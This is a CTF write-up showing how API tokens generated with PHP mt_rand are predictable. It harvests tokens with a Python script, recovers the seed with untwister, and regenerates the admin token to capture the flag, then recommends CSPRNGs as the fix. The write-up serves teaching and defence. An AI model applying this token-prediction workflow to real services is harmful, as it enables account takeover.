Misc CTF - PRNG Weakness

— Written by — 5 min read

This challenge aims to highlight the weaknesses of PRNG (Pseudorandom Number Generator) algorithms.

Tl;Dr: The app use Pseudorandom Number Generator to generate API access token, retrieving a lot of tokens allows a brute force attack to recover the initial PRNG seed. Using this seed it was possible to find the first token generated which belongs to the admin user and retrieve the flag using its account.

Alright! Let’s get into the details now!

Recon

Opening the challenge display the following website:

Quotes API

Entering a username gives us an access token for the “Quotes API”:

Quotes API token

Let’s try it:

1
2
3
4
5
6
7
$ curl "http://ctf.one:36089/quote.php?token=1952540257"
Sur le plus haut trône du monde, on est jamais assis que sur son boule. 
~Booba

$ curl "http://ctf.one:36089/quote.php?token=1952540257"
Ne jamais remettre à demain ce qu’on peut faire à une main. 
~La fouine

The application is quite simple since there is no other endpoints at all. We can quickly notice with the file extension .php that the app is running PHP, this informations will probably comes useful later.

The quotes.php endpoint doesn’t look interesting from here, it returns a random quote if the token is valid but nothing else interesting.

Random Number Generator

So far here are the informations we can gather to progress:

  • app is running PHP
  • token is always 10 chars long
  • length of the username doesn’t impact the length of the token.
  • token is always an integer
  • token looks fully random and not increment

Next logical step is to check PHP documentation for built-in random generation library:

The first function we stumble across is [rand()](https://www.php.net/manual/en/function.rand.php).

Rand
Generate a random integer
https://www.php.net/manual/en/function.rand.php

If we follow the documentation this would mean the quote API is using the following code to generate a 10 long integer token:

1
2
php > echo rand(1000000000, 9999999999);
3771020782

Doesn’t seems like a logical nor practical way to me. Let’s see if other functions exist.

The [rand()](https://www.php.net/manual/en/function.rand.php) php documentation also link to the [mt_rand()](https://www.php.net/manual/en/function.mt-rand.php) function:

mt_rand
Generate a random value via the Mersenne Twister Random Number Generator
https://www.php.net/manual/en/function.mt-rand.php

Again, let’s give it a try:

1
2
3
4
5
6
7
8

php > mt_srand(92735103); //random seed
php > echo mt_rand();
1711350997
php > echo mt_rand();
1026457933
php > echo mt_rand();
2036211242

That’s interesting! Without any extra parameters the returned value of mt_rand() is the exact same format of our tokens.

Ok, we now know that this Quotes API is using mt_rand() to generate a random token.
Now what?

While checking the PHP documentation of mt_rand() we stumble across this warning:

Caution!
This function does not generate cryptographically secure values, and should not be used for cryptographic purposes.

What does this mean ?

Wikipedia gives us a little insight of how PRNG works:

A pseudorandom number generator (PRNG), also known as a deterministic random bit generator, is an algorithm for generating a sequence of numbers whose properties approximate the properties of sequences of random numbers. The PRNG-generated sequence is not truly random, because it is completely determined by an initial value, called the PRNG’s seed.
https://en.wikipedia.org/wiki/Pseudorandom_number_generator

If you are unfamiliar with PRNG here are the key points you have to remember:

  1. All PRNG algorithms take an input called seed as starting point. This seed is the base number on which an algorithmic formula is applied.

  2. Then the formula is applied on this initial seed and the result generated is a random-looking number.

  3. The previously generated number is used as the seed for the next random number generation.

Check out the C standard library implementation of rand to give you a better idea on how it’s really done under the hood:

1
2
3
4
5
6
7
8
9
10
11
12
static unsigned long int next = 1;

int rand(void) // RAND_MAX assumed to be 32767
{
    next = next * 1103515245 + 12345;
    return (unsigned int)(next/65536) % 32768;
}

void srand(unsigned int seed)
{
    next = seed;
}

With all this knowledge we can start to see where the issue is and how we could potentially exploit it right ?

Abusing the API token generation

Let’s try to imagine how the token generation code in this Quote API works. Here is one theory:

  1. The php mt_rand() function gets initialized with an hard-coded seed using mt_srand().
  2. Tokens get generated with mt_rand() and saved to a database.
  3. Admin generate the first token for himself and get stored in the database.
  4. As new users login, new pseudo-random tokens get generated and saved to the database.

If this workflow is correct we could maybe use the weakness of PRNG algorithm to recover the initial seed and, thanks to the initial seed, we could generate the first few token generated by the app with should correspond to the admin account token, giving us privileged access to the API.

Enough with the theory, let’s get to the point with practice!

First we will need to generate a large amount of tokens to make the seed bruteforce work as easy and quick as possible.

Let’s write a small Python script to extract large amount of tokens from the Quote API:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import re

port = sys.argv[1]

for i in range(0, 1000):
    r = requests.post(f "http://ctf.one:{port}/",
        data = {
            "username": randrange(1000000000)
        })
m = re.search(r "(?<==)(.*?)(?=<)", r.text)
token = int(m.group())
print(f "{token}")

Running the script will output the following list of tokens:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

$ python quotes-tmp.py 36089
1061286297
1036863270
989299637
1500097896
488092417
503588414
1978821885
1395782229
659952241
1446891396
40888864
1913918556
1410184624
320904415
136773179
1161884405
143558795
2064003864
1583125591
1076847175
485321260
1299391838
482138034
1401969874
1203600045
19994765
1009433858
1347240952
1551734364
1411729604
...

Let’s now feed this list of tokens to a PRNG seed recovering tool like [untwister](https://github.com/altf4/untwister):

1
2
3
4
5
6
$ ./untwister -i quotes-tokens.txt -r php-mt_rand -S 1000000
[!] Not enough observed values to perform state inference.
[*] Looking for seed using php-mt_rand
[*] Spawning 2 worker thread(s) ...
[*] Completed in 0 second(s)
[$] Found seed 626545 with a confidence of 100.00%

Alright! Sound good, we now have the initial seed: 626545.

Following our scenario we should now be able to get the few first tokens generated by the app, which will hopefully be the token used by the admin.

Let’s give it a try:

1
2
3
4
5
6
7
$ php56 -a
Interactive shell

php > mt_srand(626545);
php > echo mt_rand();
531921107
php >

We have a first token, let’s try to use it to see if the API return a different output:

1
2
$ curl "ctf.one:36089/quote.php?token=531921107"
FLAG{rn6 mu57 n07 b3 pr3d1c74bl3!}%

Mitigations

Use CSPRNG for any random that need to be truly random and secure:

  • Password reset tokens
  • CSRF tokens
  • Session identifiers
  • Cryptographic primitives
  • Secret/unpredictable value generation
  • …

Reference

Real Life example

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTF › Misc
, ,